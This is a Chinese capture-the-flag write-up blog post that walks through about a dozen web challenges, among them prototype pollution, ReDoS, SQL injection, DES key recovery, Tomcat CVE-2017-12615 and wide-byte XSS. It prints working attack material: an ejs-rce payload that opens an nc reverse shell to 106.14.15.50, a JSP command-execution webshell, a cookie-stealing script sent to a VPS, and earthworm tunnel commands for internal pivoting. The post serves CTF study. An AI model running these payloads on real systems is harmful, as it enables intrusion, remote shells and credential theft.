还有一种方式是取读到全局变量current_folder_file
/{vipfile.__class__.__init__.__globals__[current_folder_file] [21]}/flag
由于路径错误出错,current_folder_file值依旧是扫根目录的文件名集。fl4g_1s_h3re_u_wi11_rua为第22个文件,于是就能读到/fl4g_1s_h3re_u_wi11_rua/flag

dooog

这题是模拟了一个kerberos认证,了解kerberos认证做起来会快一些
kerberos认证原理---讲的非常细致,易懂

这题的问题出在这里

if int(time.time()) - data['timestamp'] < 60:
    if cmd not in ['whoami', 'ls']:
        return 'cmd error'

这里限制timestamp未超时时,cmd只能为whoaminls。但却没有对超时进行判断,那只需要在超时后再发出请求即可执行命令

于是看整一个kerberos认证流程

def register():
    if request.method == 'POST':
        username = request.form.get('username')
        master_key = request.form.get('master_key')
        new_user = User(username=username, master_key=master_key)
        db.session.add(new_user)
        db.session.commit()
        return str(new_user.id)

现先向KDC发送usernamemaster_key,KDC端会保存usernamemaster_key

def TGT_vender():
    username = request.form.get('username')
    authenticator = request.form.get('authenticator')
    user = User.query.filter_by(username=username).first()
    if user != None:
        cryptor = AESCipher(user.master_key)
        try:
            data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
            if data['username'] == username:
                if int(time.time()) - data['timestamp'] < 60:
                    session_key = genSession_key()
                    session_key_enc = base64.b64encode(cryptor.encrypt(session_key))
                    cryptor = AESCipher(app.config.get('SECRET_KEY'))
                    TGT = base64.b64encode(cryptor.encrypt(username + '|' + session_key + '|' + str(int(time.time()))))
                    return session_key_enc + '|' + TGT
        except Exception:
            return 'auth fail'
    return "auth error"

KDC使用master_key解密发送过去的authenticator,并用username对客户端进行认证。然后使用master_key加密session_key,再用SECRET_KEY加密usernamesession_keytimestamp作为TGT,然后将TGTsession_key_enc发送回客户端。此时客户端可以用自己的master_key解密session_key_enc得到session_key,此后使用session_key来加密数据,TGT则作为认证

def Ticket_vender():
    username = request.form.get('username')
    authenticator = request.form.get('authenticator')
    TGT = request.form.get('TGT')
    cmd = request.form.get('cmd')
    user = User.query.filter_by(username=username).first()
    if user != None:
        cryptor = AESCipher(app.config.get('SECRET_KEY'))
        auth_data = cryptor.decrypt(base64.b64decode(TGT)).split('|')
        cryptor = AESCipher(auth_data[1])
        try:
            data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
            if data['username'] == auth_data[0] == username:
                if int(time.time()) - data['timestamp'] < 60:
                    if cmd not in ['whoami', 'ls']:
                        return 'cmd error'
                session_key = genSession_key()
                session_key_enc = base64.b64encode(cryptor.encrypt(session_key))
                cryptor = AESCipher(auth_data[1])
                client_message = base64.b64encode(cryptor.encrypt(session_key))
                server = User.query.filter_by(username='cmd_server').first()
                cryptor = AESCipher(server.master_key)
                server_message = base64.b64encode(cryptor.encrypt(session_key + '|' + data['username'] + '|' + cmd))
                return client_message + '|' + server_message
        except Exception:
            return ' fail'
    return "auth error"

服务器端会接收usernameauthenticatorTGTcmd,然后用SECRET_KEY解密TGT得到usernamesession_keytimestamp,再用session_key解密authenticator,然后进行认证。最后将cmd发送到cmd_server执行

整个过程我们需要先获取本地生成的master_key,然后在访问KDC后获取session_key_encTGT,并使用master_key解密session_key_enc得到session_key。最后在authenticator中设置一个超时时间,再用session_key加密,然后带上其它数据发送给服务器端即可执行命令

nweb

这题主要考的是渗透
截注册接口的包,将type修改为110注册账号,登录即可进入flag.php
flag.php处的搜索框可以盲注,双写绕过selectfrom过滤,能d得到flag的大部分
然后再通过盲注拿下admin的账号密码admin whoamiadmin,登录admin.php(通过扫目录可以扫到)
登入后可以扫描数据库,于是rogue mysql server一波读flag.php源码得到flag剩余部分

GuessGame

/static/app.js给了源码

function log(userInfo) {
    let logItem = { time: new Date().toString() };
    merge(logItem, userInfo);
    loginHistory.push(logItem);
}

先看到log()中使用了merge(),这里可以进行原型链污染,于是看哪里用到了log()

app.post("/", function(req, res) {
    if (typeof req.body.user.username != "string") {
        res.end("error");
    } else {
        if (config.forbidAdmin && req.body.user.username.includes("admin")) {
            res.end("any admin user has been baned");
        } else {
            if (
                req.body.user.username.toUpperCase() === adminName.toUpperCase()
            )
                //only log admin's activity
                log(req.body.user);
            res.end("ok");
        }
    }
});

/处找到,又是toUpperCase(),用ı进行绕过即可。接着找要污染的地方

app.post("/verifyFlag", function(req, res) {
    //let result = "Your match flag is here: ";
    let result = "Emm~ I won't tell you what happened! ";

    if (typeof req.body.q != "string") {
        res.end("please input your guessing flag");
    } else {
        let regExp = req.body.q;
        if (config.enableReg && noDos(regExp) && flag.match(regExp)) {
            //res.end(flag);
            //Stop your wishful thinking and go away!
        }
        if (req.query.q === flag) result += flag;
        res.end(result);
    }
});

看到/verifyFlag处,在判断config.enableRegnoDos(regExp)后对flag进行了正则匹配,虽然没回显但只有这个地方与flag有关。
于是找到config

var config = {
    forbidAdmin: true
    // "enableReg" : true
};

发现enableReg被注释了,那应该就是要污染这里了

于是
{"user":{"username": "admın666","__proto__": {"enableReg": true}}}
污染之后就能通过config.enableReg的判断

但这里就算有否匹配成功结果都是一样的,实际上这里的noDos()在提示我们使用ReDOS攻击
ReDOS初探
ReDOS攻击简单来说就是通过构造正则表达式,使其无法迅速处理导致延时甚至DOS

这题可以用这个表达式^(?=.{0}g)((.*)*)*!$来一位一位跑出结果

#!/usr/bin/env python
# coding: utf-8

import re
import time

s1 = time.time()
regex = re.compile('^(?=g)((.*)*)*!$')
str='g3tF1AaGEAzY'        
regex.match(str)
s2=time.time()
print(str)
print(s2-s1)

本地测试延时大概是2s,再套一个就跑不出来了
^(?=g)((.*)*)*!$这样也可以

除了ReDOS,还可以直接利用ejs-rce,直接弹shell。由于这题使用的是alpine,不能直接bash弹shell,这里记一下V&N大佬们的payload
{"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}}

PHP-UAF

和GYCTF那个差不多,就是换了个脚本
phpinfo()可以看到版本的7.4.2,一堆disable_functions,JSON UAF使用不了
exploits/php7-backtrace-bypass/exploit.php
但同个仓库下有新版本的能用,当时没细看血亏,改个命令就能用
可惜了清华大佬还想我们调试

sqlcheckin

给了源码

<?php 
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);//设置查询数据返回的类型,这样不用每次都写fetchAll(PDO::FETCH_ASSOC)
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            include('flag.php');
            exit();
    // .... 

标准的PDO预处理错误用法,真正的随便注
万能密码即可
username=admin'--+&password=

不过wp给出了一种挺有趣的绕过方式
username=admin'and(1-&password=)-'
生成的语句是
SELECT username from users where username='admin'and(1-' and password=')-''
通过单引包括的为字符串,int型减去字符型以开头的数字为准,这里就是1-0-0。于是最终的查询就是
SELECT username from users where username='admin'and(1)

nothardweb

分析源码,可以看到目标是要将username设置为admin

<?php
    session_start();
    error_reporting(0);
    include "user.php";
    include "conn.php";
    $IV = "********";// you cant know that;
    if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
        if(!isset($_SESSION['key'])){
            $_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
            $_SESSION['iv'] = $IV;
        }
        $username = "guest";
        $o = new User($username);
        echo $o->show();
        $ser_user = serialize($o);
        $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
        setcookie("user", base64_encode($cipher), time()+3600);
        setcookie("hash", md5($ser_user), time() + 3600);
    }
    else{
        $user = base64_decode($_COOKIE['user']);
        $uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
        if(md5($uid) !== $_COOKIE['hash']){
            die("no hacker!");
        }
        $o = unserialize($uid);
        echo $o->show();
        if ($o->username === "admin"){
            $_SESSION['name'] = 'admin';
            include "hint.php";
        }
    }

这里是一个des-cbc加密,我们能够得到加密后的结果

<?php
class User{
    public $username;
    function __construct($username)
    {
        $this->username = $username;
    }
    function show(){
        return "username: $this->username\n";
    }
}

再通过user.php我们可以获得明文,由于没有给iv应该不是要CBC翻转,那就想办法去搞到key和iv了

$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);

而key是通过mt_rand()与运算生成,之前在hgame也说过有除了爆破的方法去获得mt_rand()的种子
无需暴破还原mt_rand()种子
具体原理看链接,简而言之就是可以通过生成的随机数R0与R227,以及R0前生成的随机数个数,获得种子
脚本来源:mt_rand-reverse

测试一下

<?php
mt_srand(164632);
echo mt_rand();
for($i=1;$i<227;$i++){
    mt_rand();
}
echo "<br>";
echo mt_rand();

结果:
21822616
1260657684

而题目给了用户的uid表相差也是227,而且提示我们是229名用户

uid可能是用户的key或者mt_seed()结果,都试一下就行了

这里除了这样,由于知道了明文和密文且iv不变,可以拿密文的第一段作为iv,然后去爆破密文第二段,解出为明文第二段则是key。然后再用key去解iv即可
还有一种做法是,由于没有检查SESSIONID是否存在,直接置为空,就没有key和iv,直接空加密即可

登录为admin后,hint.php中提示

I left a shell in 10.10.1.12/index.php 
try to get it! 

而且可以看到hint.php的源码为

<?php
if(isset($_GET['cc'])){ 
    $cc = $_GET['cc']; 
    eval(substr($cc, 0, 6)); 
}else{
    highlight_file(__FILE__); 
}

这里是一个小trick,这里可以传入

?cc=`$cc`;cmd

截取后为

`$cc`;

通过eval执行得到$cc的值,就能突破长度执行命令(但我本地并没测试成功,是环境的问题?)

之后wp上给的是用soap进行内网渗透,不过直接通过服务器shell用curl打过去把shell打回来不就行了?
打回shell会在根目录发现hint,又提示了另一台主机10.10.2.13

这里可以利用earthworm进行流量转发,让我们能直接访问10.10.2.13
ew-tunnel
自己公网的服务器上
./ew_for_linux -s rcsocks -l 12345 -e 1234
内网的跳板机上
./ew_for_linux -s rssocks -d vps_ip -e 1234
然后主机上SOCKS代理设置为vps_ip:12345就可以直接访问到内网的10.10.2.13
至于earthworm脚本去github上搜吧,怕被查水表

进去后是tomcat界面,是CVE-2017-12615的洞(好像又出了个2020的CVE)
CVE-2017-12615
可以通过PUT请求像服务器任意写文件
于是搞一个jsp的马,上传至/1.jsp/

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("<pre>");
    }
%>

然后10.10.2.13/1.jsp?pwd=023&i=cmd来执行命令即可

easyweb

不知道原题干了啥,这里记录一下考点的东西

首先是java的SSRF

JAVA中可以使用netdoc协议,读取目录
netdoc:///var/www/html/这样就可以读取到网站根目录的文件

第二个是高版本jdk攻击rmi registry
baby_java也说到了,高版本的jdk由于trustURLCodebase限制无法加载远程库。这里利用Commons Collections 3.1的漏洞(实际上baby_java也是,不过之前没注意到),可以绕过这个限制去加载远程库

具体分析看这里
Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析
不同版本的jdk最后的部分也不一样,用ysoserial生成exp即可

happyvacation

这题没拿到源码,没想到XSS的题也是搞源码,有个.git泄露

CSP限制了只能为同源脚本,但允许内联js,同时交互处有上次文件的地方(不过我好像没看到),绕过方式就很明显了,通过上传脚本引入即可

function __construct(){ 
    $this->black_list = ['ph', 'ht', 'sh', 'pe', 'j']; 
}

虽然上传做了一些过滤,但通过script并不要求要js后缀,随便一个后缀都可以

绕CSP是个小问题,难搞的是message处的过滤

if(isset($user)){
    if(isset($_GET['message'])){
        $user->leaveMessage($_GET['message']);
    }
    $user->showMessage();
    if($user->url->flag){
        echo $user->asker->mes();
    }
}
class User{ 
    function leaveMessage($message){ 
        $this->info->leaveMessage($message); 
    }

    function showMessage(){ 
        echo "<body><script> var a = '{$this->info->message}';document.write(a); </script></body>"; 
    } 

}

class Info{ 
    function leaveMessage($message){ 
        if(preg_match("/cookie|<|>|win/i", $message, $ma)){ 
            $this->message = "?"; var_dump($ma); 
        }else{
            $this->message = addslashes($message); 
        } 
    } 
}

使用了addslashes()message进行了处理,这样就没办法直接用'或"绕出了。这里是第一次知道可以用宽字节来绕过,只要在头部设置Content-Type: text/html; charset=GBK;,就可以和sql一样%df绕过

于是寻找一下可以利用的地方

function go(){ 
    if(isset($this->pre) and isset($this->after) and isset($this->location)) { 
        $dest = $this->pre . $this->location . $this->after; 
        header($dest); 
    }else{
        header("Location: index.php"); 
    } 
}

UrlHelper类中go()可以控制header(),但pre的值被定为Location:要想办法修改

function __construct(){
    $this->pre = "Location:";
}

quit.php处有个answer参数

if(isset($_GET['answer'])){
    $answer = $_GET['answer'];
    $user->asker->answer($user, $answer);
    if($user->url->referer != $user->url->page){
        $user->url->location = $user->url->referer;
    }
    $user->url->flag = True;
}

跟进到answer()

class Asker{ 
    function answer($user, $answer){ 
        $this->user = clone $user; 
        if($this->right == $answer){ 
            $this->message = "clever man!"; 
            return 1; 
        }else{
            if(preg_match("/f|sy|(|)| |;|and|or|&|\||\^|\$|#|\/|\*/", $answer)){ 
                eval("\$this->".$answer." = false;"); 
                $this->updateList(); 
            }else{
                $this->message = "what are you doing bro?"; 
            }
            $this->times ++; 
            return 0; 
        } 
    } 
}

这里使用了clone关键字复制了一份user,当回答错误时通过eval()将选项去除,问题就出在这里

php中clone这个关键字的有一个类似于原型链安全问题,只不过原型链是由上影响下,而clone的问题是由下影响上
通过clone这个关键字可以将一个变量直接赋值给另一个变量,某些情况下可以提高代码效率。但当原变量为一个类,而其中一个属性又为另一个类。当克隆变量修改了另一个类中的属性值时,就会导致原变量中,另一个类中的属性值也改变。简单的写一个例子

<?php 
class A{

    function __construct(){
        $this->a = new B();
    }

}

class B{

    function __construct(){
        $this->b = 222;
    }

}

$a = new A();
$b = clone $a;

echo $a->a->b;
$b->a->b = 999;
echo $b->a->b;
echo $a->a->b;

这里的输出是222999999,变量a中属性a中属性b的值随着变量b的修改也改变了

回到题目上,pre是user类的url属性指向的类中的一个属性。于是就可以通过修改$this->user->url->pre的值,将$user->url->pre的值修改。将answer设为user->url->pre即可,这样就$user->url->pre = False,而False连接任意字符串都为其本身

然后就是控制location
通过传入referer修改一次referer,再传入referer就可以将值赋给location

if(isset($_GET['answer'])){
    $answer = $_GET['answer'];
    $user->asker->answer($user, $answer);
    if($user->url->referer != $user->url->page){
        $user->url->location = $user->url->referer;
    }
    $user->url->flag = True;
}
if(isset($_GET['referer'])){
    $referer = $_GET['referer'];
    if($referer != $user->url->page){
        $user->url->referer = $referer;
    }
}

于是先修改一波referer
quit.php?referer=xxx
然后污染header
quit.php?referer=Content-Type:text/html;charset=GBK;Referer:index&answer=user->url->pre

污染后就可以进行宽字节XSS,先上传一个脚本
window.open('http://vps:port/?'+document.cookie);
message中其它的过滤用String.fromCharCode()绕过,script引入脚本
index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);var c = String.fromCharCode(49,46,119,97,118,101);x=document.createElement(b);x.src=c;document.body.appendChild(x);//
vps接到cookie后登上管理员账号,访问teacher.php算出md5提交即可得到flag

还有另一种简单的方法就是直接覆盖掉black_list,就可以直接上传shell了

最后修改:2020 年 04 月 30 日 06 : 57 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论